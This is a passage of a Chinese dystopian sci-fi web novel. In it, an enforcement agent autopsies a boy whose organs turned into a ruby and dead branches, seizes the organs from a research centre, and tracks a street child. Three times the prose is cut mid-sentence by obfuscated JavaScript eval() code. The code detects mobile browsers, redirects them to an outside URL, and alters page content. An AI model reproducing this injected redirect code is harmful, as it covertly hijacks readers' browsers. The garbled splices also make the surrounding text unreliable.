铁肺病是花园陈非常普遍的一种疾病,由于花园城常年笼罩铁红色锈雾,锈雾如同雾霾一般,附带黏着性很强的微小分子,普通人肉眼看不清,但吸进身体后会附着在气管、肺部,久而久之气管和肺犹如被包裹了一层沙石,活动艰难,发展到后期铁肺病的人一般会窒息而亡。 光学扫描仪扫描了他的体内情况,发现陈宪松体内器官有病变,分析后发现气管与肺部气管布满絮状植物纤维。与铁肺病造成的器官病变完全不同,但发病时的反应大致相同。 几位医生与智能AI医生联合问诊后,暂定其为铁肺病的变种。 “你们解剖尸体了吗?” 大圆显示屏上生动地比出一个大大的问号,“医院拥有多种仪器,可以对死者身体各个部位扫描分析,3D成像,无需进行人体解剖该类古老诊断方法。” 眼见为实,姜屿想亲自看看其中的病变。她给甘棠发了个消息,甘棠回得很快,能纠缠治安队数日就说明陈宪松父母并不死心,决心想要查明自己孩子真正死因。 不一会,陈宪松母亲发来了通讯。 全息投影悬在空中,一位成熟的贵妇形象跃然出现。夫人看了看病房站着的三人,手绢抵在眼角,双目通红,“我家孩子就交给你们了。” 她接着补充,语气多次哽咽:“你们都是甘棠派来的人。我相信她,也相信她的下属。你们一定、一定要找到我儿子的真正死因,这样他才能真正安息。” 姜屿心中感慨,严肃地点头:“我们一定会的。”这是她对一个痛失爱子的母亲的回答。 对方背景中忽然传来一声小小的呼喊,“夫人,您预定的手工裙子已经到了……” 这年头,制衣材料高速发展后,手工定制反而变得更为贵重。能负担得起的人更偏心于手工,用最先进的制衣材料和最费时的人工制作,方能体现一个人的穿衣品味。 对方矜持地用扇子半遮住自己的脸颊,“麻烦你们了。我还有事,你们可以做任何你们想做的事,只要给我一个结果。” 说吧,全息投影瞬间关闭,姜屿耳朵尖,听到了对面迫不及待的声音,“我现在就来。” 姜屿:一腔感情喂了狗。 病床上的陈宪松一无所知地躺着。他不会知道自己母亲没有多看他一眼,不会知道他的死亡如同一粒石子投入平静的潭水中,两三下涟漪后便沉入水底。 陈宪松的档案中附有一个视频,是他参加学校活动时拍摄的。陈宪松坐在人群边缘的台阶上,没有参加体育活动,也没有踏入喧闹的人群,手里把玩着一个生锈的机械零件,若有所思地站在远处遥望喧闹。 姜屿注意到他性格描述中有一个词——孤僻、较真。他会在某些时候说些不着头脑的话,让同学和父母异常恼怒,比如什么学校接收学生不应该看社会等级,比如什么社会等级低的人也有好有坏。 好吧,看在陈宪松和自己青春期相似的性格,姜屿很快说服了自己。她想,较真的陈宪松也会想知道自己到底是因为什么而死的。 13. 013 “解剖他。” 得到陈宪松母亲的许可,姜屿第一件事就是想看看诊断记录中所说的植物纤维。花园城中一点植物都没有,陈宪松身体中哪里来的植物纤维。 “您确定吗?”一道清丽的全息投影在姜屿面前站定,这是医院的智能医生。与人类医生一同诊疗,资料库丰富到一般医生无法比拟,“据资料库分析,您的举动有75%概率在做无用功。仪器对尸体的扫描精准到分子结构,几乎不会出现差错。” 姜屿点头但不听,“无用功就无用功,但我要做。” 智能医生迷惑了片刻,碍于姜屿得到了陈宪松监护人的许可,着手陈宪松的解剖工作。 得益于医学技术的迅速发展,资历丰富的大医生已经不再从事一线工作,更多是坐镇幕后,进行医学的前沿研究。 而一线工作,更多的由智能医生分担。人体手术是如此,解剖只需要进入手术室,智能医生会在仪器的帮助下进行手术,误差不超过毫米。 智能医生绞开陈宪松的胸膛,他的身体被刻意维持在了活着的时刻,因此剖开得很容易。智能医生在看到器官时沉默,全息人形投影适时地停顿,双眼中闪过崩腾的数据。 【真有趣。】欧若拉一个人工智能,语气模拟好奇。 “检索资料库:资料库中不存在该类现象。” “检索资料库:资料库不存在类似现象。” 智能医生看到的场景同步投射在观察室的大屏上,陈宪松的气管与呼吸道变了个样子。气管如同树木的枯枝,高清的屏幕上姜屿能看清枯枝上皲裂的树皮,植物纤维原来在这里。 陈宪松的肺和枯老的气管完全不同,肺部红艳艳的,在天花板的冷色灯光照耀下反光,像是一颗硕大的红宝石。陈宪松的身体气管像是被树枝寄生,成了孕育宝石的温床。 智能医生开启权限,姜屿三人可以进入手术室。姜屿戴着手套,不信邪地摸了摸气管与红宝石,指尖碰到的器官已经冰冷,但依旧是血肉的感觉。 姜屿睁开眼,红宝石和枯树枝静静地躺在陈宪松胸膛,视觉和触觉不同步,姜屿目眩神迷。 “这是畸变,需不需要上报执法队?”胡玖提醒。 姜屿回神,飞快在陈宪华身上撇了两下。 畸变物?但是她没有看到黑雾,难道她猜错了,自己在小时畸变域中看到的黑雾和畸变没有关系,只有小时特有? 她一边思考,一边拿出通讯工具。照片一发过去,甘棠的通讯就弹了过来。 对方脸上几道灰尘,立在风中,“让我看看。” 身后爆炸声轰隆隆不停,她站在一处断壁残垣,“我知道了,我会赶回去的。” 说着,一道爆炸在她身后炸响,甘棠暗骂一声,叮嘱姜屿后挂断了通讯:“等我回去,不要轻举妄动。” 智能医生人性化地懊恼:“它们骗过了仪器。” 而后迅速上报至整个医院。不一会,本来空荡荡地手术室中挤满了人和智能。 有人想要上手触碰。姜屿拦住跃跃欲试的手臂,“不要触碰,这很有可能是畸变物,很危险。” 苍老的白大褂眼神浑浊,但遮不住眼中的狂喜:“我知道。但畸变可能只是一种目前还没有找到规律的病症,如今有实验材料能让我好好研究,危险又怎么了?” 说完,他不顾姜屿的阻拦,拿出红宝石和枯枝。陈宪松畸变的器官很快被争先恐后的医生们瓜分完毕。 姜屿看口头阻拦无果,拿出执法队证件和左轮,一手讲道理一手讲真理,“我们是执法队工作人员,请配合我们工作。如不配合,我们有权击毙你们。” 她一准备,胡玖和胡功两人齐齐出枪,杀气盘旋,总算让几个头脑发热的老医生冷静下来。 执法队就是这么豪横,也真的能在击毙后不被追责。他们交头接耳片刻,“我们会向基金会报告这件事情。” 你们有后台,难道我们就没有吗?医生们放下不算狠的狠话,放下手中拿着的畸变物,急匆匆向基金会告状去了。 手术室顿然空荡,医生们虽然心有怨气,但对实验材料的爱护还是超过了怨气,他们轻柔又有条理地将实验材料放在一旁台子上。 姜屿看了看,确定医生们没有偷偷昧下来后才有空打量周围。 “你怎么没走?” 为陈宪松做解剖手术的智能医生站在手术台旁,眼睛下的光学感应器落在躺在手术台上的陈宪松许久。 听到姜屿的声音,它本该无神的双眼中出现类人般的疑惑,磕磕绊绊地说,“我、我怎么没走?” 从容不迫的声音再度响起,“我想,我应该把这场手术做完。” 它一步一顿的,像是体内程序卡顿,拿起手术刀,开始缝合陈宪松胸膛。它动作不慢,陈宪松胸口很快被缝合起来,留下了个Y字型的大伤疤。 智能医生离开前递给姜屿一个黑乎乎的东西,她拿到手上才看清。齿轮上的铁锈像是长出来的,擦都擦不掉。这齿轮,她曾见过的,在陈宪松档案中保留的唯一一个视频中。 “为什么给我?”姜屿摸不着头脑,陈宪松的遗物不应该给她一个陌生人吧。 智能医生:“这是陈宪松脖子上戴着的东西。我们本想转交给他的父母。但他的父母认为这是垃圾,让医院自行处理,医院会扔掉没有价值的东西。” 姜屿想了想,接过锈迹斑斑的齿轮,“我会好好保留的。” 甘棠最终没有来,她派来玲。玲依旧笑嘻嘻的,右臂处空荡荡,看到姜屿后坚强地用自己剩下的左臂和她打闹。 姜屿本准备和玲疏远,但绷不住玲黏人的贴贴,推了推玲凑近的脸,拉下脸,“你手臂怎么了?” “没事啦。”玲不在意地说,手舞足蹈起来,“我听老大说,你又找到畸变物了!” 她撞了姜屿一下,“可以啊,奖金指日可待。” 姜屿看了下玲的手臂,犹豫了下才短暂放下交浅言深的鲁莽,“即使能关闭痛觉感应,你也还是要注意保护自己。” 叮嘱完,姜屿匆匆转移话题,“奖金有多少,大概什么时候到账?” 甘棠确实这样说过,还给她一本外勤工作守则。姜屿只想着混水摸鱼,搞个基础工资,将守则扔在床头柜上再没翻开过。 如今有钱,姜屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但姜屿也是外勤,也没有那样对她笑,没有恭敬地听她说话,像是在听什么指示。所以,不是那两个外勤奇怪,是姜屿奇怪,她周围的人也才奇怪,自己也奇奇怪怪的。 玲逻辑通顺地说服了自己,并肯定地点了点头,笑嘻嘻地对一旁等待她解释的姜屿说,“应该是我错觉。走走走,我超不喜欢医院的味道的。”嫌弃地捏了捏鼻子。 玲开的是机车,车身线条凌厉粗狂,毫无优美车身的装饰,停在那里如同一架被剥去外皮,张扬地暴露肌肉与骨骼的机械巨兽。 一启动,巨兽不驯服得嘶吼着弹射而出。关键的关节、管线处在运作时闪烁着精密抛光金属的冷光。 “好帅!”姜屿坐在后座,风在她耳边呼啸而过。 “你说什么?”过快的速度让两人刚出声,话就被抛在脑后。 “我说,”姜屿顶风凑在玲后背,超大声地说,“好帅!” 风声呼啸中,玲身体的温度透过护甲和衣衫。姜屿听玲说过,身体改造全部用了超高精度的材料,并配备温度调节功能。 玲哈哈大笑,“我早都听到了!我才是最帅的!” 14. 014 姜屿勉强让自己表情没那么狰狞,止住自己质问的冲动。 “你说什么?” 研究中心的工作人员一袭蓝白色制服,闻言不着痕迹地缩了缩,“我们没有在你们拿来的物品中检测出活性。” 没有活性代表和畸变无关。 研究中心有特殊仪器,可以检测畸变的活性。简单来说,活性越高,代表畸变的能量等级越高。 姜屿狠狠拍了拍工作人员前方的超钛合金工作台,“这是从人体中拿出来的器官,你告诉我这不是畸变?”而后一把扯过工作人员,“你仔细看看,器官成这样不是畸变?” 工作人员被姜屿怒气一震,嘴唇蠕动,犹豫着说了句:“畸变的认定需要检测活性,没有活性就无法被认定为畸变。” 姜屿被玲剩下的手臂拦住,嘴里不停叨叨着“算了算了”。 看着工作人员满脸为难,姜屿不想为难同为打工人的对方。 小小牛马只有规定的执行权,没有解释权。 但越想越气。 “好。那你把东西给我,既然不是畸变,我自己拿回家行了吧。”姜屿妥协。 “不行,这是人体奇怪的病变,有很大研究价值,不能返还给你。” ? 姜屿怒气上涌,外勤执行任务中是死是活全靠运气,偶尔遇到些对自己有用的东西昧下来是约定俗成的事情。 没有活性,无法认定为畸变,姜屿拿不到奖金; 但这东西又很奇怪,血肉的触感,视觉呈现却是红宝石和枯树枝。 研究中心不可能放弃。 比姜屿楼底下的混混都不讲究,好歹混混还知道给人留给底裤,研究中心连吃带拿,吃完碗都要砸掉。 姜屿气笑了。 她强笑着:“我再说一遍。这是我拿来的东西,我就要拿走!” 说起自己工作的地方,工作人员与有荣焉,胸膛一挺:“研究中心拥有对任何怪异事物的研究、支配权力。” “但这是我的东西。” 对方暗下警报按钮,滴唔滴唔的红色威胁警报瞬间被拉响。 十几个荷枪实弹的机器人警卫冲出来,“第一次警告,请离开研究中心!” “第二次警告……” 机器人的骨骼外漏,没有任何仿生皮肤装饰,赤裸地彰显杀人武器的身份。 武器齐帅帅瞄准姜屿身上要害处。 “第三次警告!” 玲使了个眼色,姜屿立马高举双手过头,脸上挂着气愤又无可奈何的神情。 她拿起玲扔过来的权限钥匙,机车轰鸣着启动。 身后忽然传来开火的声音,姜屿依稀听见了工作人员气急败坏的声音。 “杀死那两个偷窃者!” 姜屿左拐右拐,身体扭曲地躲开警卫密集的子弹。 长长的刹车印在研究中心前一顿,姜屿单腿支在地上。 玲仗着身体无敌横冲直撞,机器人警卫严密的防线轰然撕开了一道口子。 她大笑着,手里提着熟悉的黑色畸变收容箱,一屁股坐在了机车后座。 “冲冲冲!”玲声音在她耳边炸开。 姜屿畅快地将油门踩到底。 小型反物质炮筒发出蓝白色的冲天洪流,嘶吼着在二人身后爆炸。 …… 搞事一时爽,事后两人被赶回来的甘棠絮絮叨叨了好久。 一路上研究中心的告状通讯和闹钟一样,吵了闹了一路。 甘棠恨铁不成钢:“你明明有更好的方法拿回陈宪松的器官,为什么选了最笨的一个?” “还有你,我以为你是个有脑子的。”甘棠转头训起一旁低头认错,实则根本不觉得自己有错的姜屿。 两人眼观鼻鼻观心地被甘棠训了三个小时,训到人造太阳关闭。 姜屿另一份工作的上班时间到了。 甘棠喝了口水,揉了揉发痛的太阳穴,面前屏幕幽幽地散发蓝光,是胡玖提交上来的任务报告。 看看胡玖的报告,多么完美的避重就轻,多么完美的不说实话。 再看看姜屿。 “你看看人家?”甘棠点了点任务报告的提交人——胡玖,示意让姜屿好好学学。 姜屿当自己是块木头,写材料真的太难了。 不得不感慨,无论时间怎么流逝,技术怎么发展,有些东西犹如刻在人类基因中,怎么杀都不死,比如官僚主义。 生物识别解锁后,收容箱中的红宝石缓缓露出真面目,夺人眼球的炫目光彩几近灼伤人眼。 甘棠捻了捻指尖,触感在她手指间挥之不去,细腻的血肉上包裹着薄薄的脂肪。 携带C级畸变源的不明分子和她鏖战一天后消失得无影无踪,花园城肯定有人接应他们。 陈宪松伤心欲绝的父母需要安慰; 尊严被挑衅,暴跳如雷的研究中心要去扯皮。 现在,陈宪松的死亡明显有鬼。这一天天的,24小时全是她加不完的班。 甘棠皱眉,真是多事之秋。 “你先去上班,这东西,”甘棠苦恼于如何称呼,实在无法描述,只能笼统地指了指收容箱,“你和玲共同保管。” 甘棠不可能让姜屿拿着这东西招摇过市,但凡有点意外又是一起重大安全事故。 姜屿老实巴交地点点头,好像自己不是玲的共谋。 “玲保管,我监督。” 她属实也不想要,这东西一看就很奇怪,就怕它忽然变异,将它从研究中心抢过来,纯属争一时之气。 玲很关心甘棠,看到甘棠皱眉,赶忙凑上前,“老大,你是不是头又痛了?不如干脆换个合金头骨,替换部分脑神经,就不用这么难受了。” “去去去,别打扰我。”甘棠赶小狗似地赶走扒着门框的玲,和着急上班的姜屿。 姜屿不好意思地笑笑,黑莓有全勤奖的,五百积分呢。 玲挥手:“老大,一会我带夜宵给你。” 宵夜? 姜屿没在花园城里看到餐馆,餐馆至少要有餐,但花园城中一切从土里种出来的东西都昂贵的要命。 想要全勤的心压过了好奇。 姜屿义正言辞地拒绝玲,向五百积分走去。 “下次你有空带你去。” * 上班的路上会经过南城区的彩虹滩。 地势低洼,常年积水,混合机油和化学废料,试剂与溶液在地上形成小小的水洼,倒映各式各样霓虹闪光。 姜屿低着头,快速踩过一片泛着七色光彩的水洼。好看是好看,但可能有毒。 这两天南区到了雨季,好容易下了场浓度低的酸雨,废弃集装箱像被洗了一遍,上面的丙烯颜料更加浓墨重彩。 她侧身避开冲撞的人群。 这地方名字听起来像乌托邦,实际上是个火药桶。 保不准多看一眼,小小的眼神对视立马能升级成生死搏命。 注视也是一种微妙的暴力。 ……两三天遇到一次冲突叫做平静。 忽然,一团漆黑忽然撞到姜屿脚边,软乎乎的一个黑煤球,两只眼睛眼白大得吓人。 煤球恶狠狠地瞪她,满眼未经世事的蛮不讲理,“你撞到我了,赔钱!” 冰冷的刀锋贴在姜屿腰间,下一秒就要狠狠捅进去。 这次遇到的人还够好的,竟然知道找个抢劫理由了。 姜屿纳闷地一枪抵在煤球额头,“看看你的刀快?还是我的枪快?” 她怎么能如此频繁地遇到犯罪?犯罪对象还都是她。 难道她背后有天使光圈闪亮亮? 旁边的行人面无表情的路过,对马路正中间的犯罪熟视无睹。 姜屿看了下智脑上显示的时间,“快让开,我有事。” 前世九年素质教育,二十四年普通人生活固定了姜屿的底线。 她的枪可以对准赌徒,对准抢劫犯,但她杀不了人。 煤球缩了下,眼中满是不怕死的凶狠,“我刀上涂了致死化学涂料,有种我俩同归于尽。” 两人纠缠间,锈迹斑斑的齿轮被拉扯出来,哐当一声落在地上的荧光水洼。 “你从哪里偷来的?” 煤球眼疾手快,把齿轮从水洼中捞出来。 水洼液体腐蚀性几近于无,但是接触皮肤还会有些刺痛。 姜屿无语,不理会煤球更加锋利的语气。 煤球狠狠一刺,刀尖磨得发亮,拦住姜屿伸手的动作。 姜屿赶忙躲开,匕首在手上划出一条长长的伤痕。 煤球夺过齿轮,飞一般消失在拐角尽头处。 齿轮也不值钱啊。这东西南城区到处都是。难道煤球和陈宪松有关? 收银员上班了。 眼熟的赌客豪气地将一把钱扔在收银台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153922|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鼻子和蒸汽火车头似的,“换筹码!” 花园城黑户很多,没有身份终端导致没有购买智脑的资格,没有智脑积分无法保存储蓄。 政治书上说的没错,金银天然是货币。金银理所当然地更受欢迎。 姜屿面无表情地整理散落一桌的金银。金子澄亮,旁边检测纯度的机器精准算出纯度,以及能兑换多少筹码。 赌客名叫疤头,昨天输得倾家荡产,躺在赌桌前不肯走,又想在黑莓抢钱。 第一目击人姜屿眼睁睁看着他试图突破防弹玻璃,第一时间按下了警报。 骷髅架子似的疤头被警卫拖死狗一样扔出去。 他临走前不记恨赌场,不记恨好赌的自己,记恨上了无辜的收银员姜屿。猫在黑莓招牌不远处,差点阴了姜屿一把。 可惜疤头的伪装技术太差,而姜屿在执法队哭天喊训练一番后,没动用武器,暴揍了疤头一顿。 疤头哆哆嗦嗦地交出了自己身上最后一点钱,姜屿才放过他。 她也不想的,都是这该死的环境。 今天怎么就暴富了?姜屿一瞬间闪过无数个猜测,无视得意洋洋的疤头,面上冷漠地为他兑换好了筹码。 有了钱,昨天冷眼旁观的朋友们一拥而上,谄笑着恭维疤头。 昨天还是穷酸鬼,如今已成疤头爷。 “疤头,在哪里发财,带带兄弟呀!” “爷,疤头爷,借我点筹码。” “……” 疤头被恭维得很是高兴,嘴一松:“南城来了一伙人……” 说完,他就脸色突变,红润的脸颊红印着惨白慌乱的神色。 “别挡爷路!”他拿上筹码,钻进神情癫狂的赌客中,似乎置身人群能多些安全感。 姜屿若有所思。 “最近南城很乱。”景行猫似地贴过来,知道姜屿不喜与人接近,贴心地站在不会引起姜屿烦躁,但她又听得见的地方。 她示意景行细说。 虽然在南城区工作,但身兼两职的姜屿每天要去执法队训练,来去匆匆,两耳不闻窗外事,只熟悉了自己的通勤路。 “垃圾山那边不对劲……” 垃圾山在花园城西南角下风处,之前是处理垃圾的焚化厂。 焚化炉烧垃圾的滚滚浓烟顺着风被吹向远处的荒土,但焚化炉一动,浓烟能遮住花园城的大半天空。 在花园城几个城区的抗议之下,主力是北城的老爷们。 焚化厂关闭,堆在焚化厂的未处理垃圾遮天蔽日,成了垃圾山的温床。 垃圾越堆越多,南城区有好多活不下去的人。 恰如金甘玉露一相逢。 有第一个人翻垃圾,就会有无数的后来者,尤其在有人翻出价值不菲的垃圾,在南城市场上卖出高价后。 慢慢的,垃圾山周围有了片居民区,里面的大部分人都靠着垃圾山过活。 景行咂摸嘴:“不知道为什么,垃圾山好多人最近脸色红润,一看就挣了钱。好几个势力眼红,都想去垃圾山看看。垃圾山的人不让,就打起来了,都打了好几架了,死了不少人。” “火拼。”姜屿想出个贴切的词,“都死人了,不叫治安队?” “治安队才不去呢,垃圾山那些人能榨出多少油水来,不够他们出动一次的花费。”景行努努嘴,对着多了很多赌客的牌桌,“好多人都是靠死人赚到的钱。” “疤头也是?” “疤头不是,”景行摇摇头,“死人赚不了那么多钱。”说着他羡慕起来,“要是我也能忽然赚这么多钱就好了。” 姜屿张张嘴,不知道说什么。 景行却摆摆手,“算了算了,还是一点点攒吧,更安心一点。”他朝姜屿抛了个媚眼,优雅轻盈地踏入人群。 姜屿心中隐隐不安,隐隐能感觉到南城区的动荡不安,但真相却藏在厚厚的油布后面,隔着油布挑拨地露出些浮光掠影。 她坐在喧闹的边缘,静静观察黑莓中载歌载舞的人群与灯光。 风雨欲来啊。 坐在办公室的甘棠感叹,再一次翻开自己已经烂熟于心的档案。 视线可及处的黑暗,红宝石静静躺在收容箱中,像是一个眼睛安静地注视甘棠。 “老大!”寂静处一个身影跳出来,被吓了一跳的甘棠哭笑不得。 不知气氛的玲笑哈哈的:“我给你带夜宵回来了!” 15. 015 姜屿画了张煤球的肖像。 甘棠很重视姜屿说的小孩,陈宪松的去世很明显另有谜团,如今出现了一个和陈宪松完全不在一个世界的人,太可疑了。 她准备悬赏“煤球”。 花园城的情报贩子多了,以重金总会吸引到贪婪的鬣狗。 但花园城的监控不足,尤其是南城,甘棠准备以自信满满的姜屿传来的肖像作为悬赏令。 打开和姜屿的通讯,查看最新传来的肖像。 “……”甘棠久久不能回神,“这是个人?” 画中一个煤球抬头望向她,眼白大的吓人,手上握着把……树枝,还是匕首? “我这是突出了他的神韵,不然怎么从花园城那么小孩中找到他!” “你不会根本就没有看清他吧?” 甘棠干脆将寻人任务交给了姜屿。 姜屿接得爽快,倒让甘棠惊讶不止。 和姜屿寥寥几面,甘棠已经摸清了姜屿的性子,一个推着不走,打着倒退的犟种,心里最想的就是过上安稳平静的生活。 她对此嗤之以鼻,平静? 连安详快乐的第三区、第二区都时有斗争出现,第四区的姜屿竟然认为自己能过上平静的生活。痴人说梦而已。 她不也正陷在与人的无限争斗中吗? 姜屿被甘棠打量得有些恼火,干巴巴地解释:“医院把陈宪松的遗物交给我,我要好好保存的。” 陈宪松挂在胸口,遭父母呵斥也不愿意摘下的东西,不能被她这么轻易地弄丢。 姜屿在丢失齿轮的路过蹲了三天,煤球却再未出现。她找了个能正常交流的人拿着自己画的肖像询问。 对方翻了个白眼:“你让我用这张画认人?没见过,不退钱。” 用三支舒缓剂换来的对话机会就这么白白浪费。 白做功的姜屿顶着黑眼圈,面色阴沉地坐在收银台后工作。 为了找到齿轮,她起早贪黑,一天能睡三四个小时顶天。来到新世界每天规律作息,八小时睡觉的姜屿真受不了。 李三忽然出现在了黑莓。 不知道他和蛇母莎拉什么关系,他时不时消失一段时间,过好几天又会如固定刷新的NPC一样突然出现。 他好奇地凑过来,“怎么了姜屿,你遇到什么事情了吗?可以找蛇母解决,她很神通广大的。” 姜屿意识到李三从来没有称呼过蛇母“母亲”,和黑莓中的人不同。 但现在不是追究的时候,如今还是丢失的齿轮更加重要。 姜屿难得给李三了个正眼,“我路过彩虹滩的时候丢东西了,有个小孩拿走了。” 李三捏下巴沉思,“原来如此,小孩长什么样。” 姜屿不抱希望地拿出自己的肖像画,并小声补充,“小孩很黑,眼睛很大,性格很桀骜。”她自得的绘画技能在这几天受到了重创。 “……”李三沉默,“我记得彩虹滩有个买情报的叫蓝靛,你可以去找她问问。” 知道姜屿和他一样抠门的性子,“她那里收费贵,但很准确。” 每个街区有自己的地标性建筑,红灯区是黑莓,彩虹滩则是一个拳场。 拳场只在深夜开启,白天如同见光的耗子蜷缩在阴影中,姜屿穿着片防护雨衣,戴手套的右手遮在额前,挡住滴滴答答掉落的雨滴。 花园城的雨季到了。 无视身旁越过的各色眼光,她在人群中仿若个异类。 但雨滴带有侵蚀性,会灼伤人的皮肤,在皮肤上留下一个黑豆大小的坑,像是被烟头烫了一下。 她环视一圈,在周围人悉悉索索的交耳讨论声中找到了自己的目标。 张扬的荧光蓝头发真的太好找了。 难怪李三说到了地方,她一眼就能认出蓝靛。 蓝颠的荧光蓝头发好显眼,在人群中像是个大灯泡。 她正靠在拳场的四角柱之一上,双臂放松地展开,手臂上的肌肉隆起,她对手躺在拳场中央血肉模糊,裁判再三催促下没有反应。 拳场上去了几个人,将奄奄一息的失败者拖出擂台。 姜屿来时,正是一场格斗打完地休息时间,下注的人有输有赢,输了的眼睛前突,浸在眼中像只怪异的金鱼,赢了的欢呼雀跃,不顾自己被雨滴砸出的伤痕。 休息的人都看到了姜屿,蓝颠也是。 她视线看过来,冷静的、审视的目光,刚刚的见血没有冲破她的理智。 蓝颠没有动,姜屿走到了她所在的擂台底下,仰起头,“你好,我来找你买个消息。” 蓝颠没有回答她,周围的混混迫不及待地开口,“你谁啊?找蓝靛老大!来,和我们详细说说。” 说完,不老实的手不安分地想要攀上姜屿的肩膀,带走她。 姜屿懒得多说,掏出枪,一枪轰在混混肩膀上。 混混半边身体鲜血喷了出来,像个失控的水龙头。周围人眼神中的癫狂一下褪去,围城姜屿形成个圈,却没人敢靠近。 花园城有一个特色——医疗很贵,贵到令人发指,无论是公立医院、私立医院,还是依附在阴影中的黑医院。 在花园城,最好的结仇方式不是杀死对方,而是让对方半残,想要活下去不得不去治疗,然后背上出卖灵魂都还不清的债务。 当然,没有人敢不还债。 蓝靛居高临下地开口:“你找谁?” “我能和你单独谈吗?” 蓝靛哼笑了声,算是同意。 两人一前一后进了个安静的角落,手下站在听不到她们谈话声音的地方。 “我找一个小孩。”姜屿简短描述了和煤球初见的时间、地点,并说出了自己对小孩的判断。 “你这是寻仇,还是找乐子?”蓝靛说话时喜欢直视对方,脸上的每一丝肌肉,每一个眼神游移都能看清,看清对方掩藏的情绪。 寻仇,不至于。 找乐子?她显得没事干浪费自己睡觉时间。 姜屿摇摇头:“我只想拿回我的东西。” “嘁,”蓝靛不算冷笑地笑了一声,她会看人表情,这人说得竟然是真的,哪里来的傻子。 但傻子有钱,就不一样了。 蓝靛收费确实很高,但保证售后,后期如果她没有找到人,将会退回一半款项,真的很良心! 姜屿忍住肉疼,安慰自己,朝蓝靛智脑划了4000积分。 很好,一月工资就这样没了,黑吃黑都养不起家。 蓝靛正儿八经的手下和刚才的混混不同,很会看眼色,热情地招呼姜屿留下来看比赛。 拳赛一触即发,能上台的人都签了生死状,在没有防护的情况下,一张薄薄的协议,压上自己的人命。 姜屿适时想起自己没动静的系统,探索花园城的进度在去完洞窟,来了彩虹滩之后涨了一截。 她留下来,看了一场拳赛。 一场彩虹滩土生土长的比赛,燃料在擂台上炸开,红色呼啸着喷射,黄色尖叫着高呼。 一位幸存下来的拳手步伐瘫软地下台,他鼻青脸肿,双臂不正常地下垂。 没有治疗,他笑着把自己赢到的钱递给了台下哭着扑过来的小孩子。 “不准哭,可以吃肉了哭什么,给老子笑!” * 蓝靛的速度很快,不到三小时就有了消息。但不等她把人带到姜屿面前,小孩神出鬼没地在她面前现身。 彼时姜屿下班,太阳蒙蒙的光隔着一层雾晕开。 她晕乎乎地打了个哈欠,没注意被一个熟悉的煤球撞到了腿。 “你在找我?” 小孩用蔑视的眼神俯视姜屿,睥睨天下的眼神刚摆出来,遭到饿呼呼的肚子抗议“咕噜咕噜”。 “你知道小陈去哪里了吗?”小孩按了按自己叫嚷的肚子,继续追问道。 作为一个成熟的大人,姜屿短暂地思考是否要顾及小孩脆弱的心思。这念头很快被扑灭,眼前小孩可能比她都坚强。 “他死了。” “什么?”小孩表情凶恶,眼睛却止不住地泛红。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153923|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他恶狠狠地擦掉眼角的泪水,像是在自我警告,眼泪打湿了手掌,“他前几天还好好的。” 不懂如何安慰哭着的小孩,姜屿手足无措地转了抓头发,干巴巴安慰,“别哭了,我带你去吃好吃的。” 小孩瞥了她一眼,哭得更惨了。 被紧急叫来的外援玲带着两只小尾巴熟门熟路地来到自己常来的小店。 准确来说,是路边摊。 摊子支在靠近中央管道的南边,一对夫妻共同经营,丈夫瘸了腿,妻子毁了容。没有钱治疗,伤疤长久地留在了身上。 店里的肉有两种价位。一种便宜,一种比较贵,但正在煎制的肉看起来没有任何不同,她不解地问玲。 “合成肉,”玲一眼区分出来,指了指边角处的肉,又指了指放在保温箱中的肉,“正儿八经的肉。” 姜屿脸色炸裂,花园城没有畜牧业,个人也根本养不起鸡鸭鱼,往后退了一大步,前世丰富的观影经验在脑海中过了一遍,“人肉?” “……”玲幽幽地看着姜屿,像是被发现了什么秘密,“看来你发现了,只能灭口了。” 姜屿一碰就毛,被玲一激后条件反射地摆出防御姿态。 小孩擦了擦嘴角的口水,眼神黏在冒热气的锅上动不了。 好险制止住自己抢肉的冲动,想要分散些自己的注意力,“是盲鼹鼠肉。” “花园城还有老鼠?”姜屿没听过这名字,不耽误她惊讶。 花园城不能说鸟不拉屎,毕竟这鬼地方连鸟都没有,荒得除了人就是改造人,没想到竟然还有老鼠,“不是说土地被污染,动植物无法存活吗?” “不知道。”玲光棍得很彻底,耸肩摊手,脸上是坦然的无知,“可能老鼠不一样吧。” “但我从来没见过老鼠。”姜屿每天酸雨里来,锈雾里去,从来没有见过老鼠的踪迹。 玲跺了跺脚,示意姜屿看地,“这东西在地下几十米,甚至百米深,一般机器很难探测到。” 猜到好奇宝宝姜屿可能的问题,她接着说,“这是老鼠人的谋生渠道之一。” 说话间面色淡淡,洞若观火地继续说道,“有人猜测,老鼠人和盲鼹鼠有什么奇特的感应,因此他们能精准地找到地下生物。” 姜屿做思想准备,拿起玲热情地塞过来的烤鼠肉,勉强尝了口。 浅浅尝了口,姜屿眼睛一亮,肉其实不好吃,又柴又老,嚼起来很费劲,不如合成肉好吃。 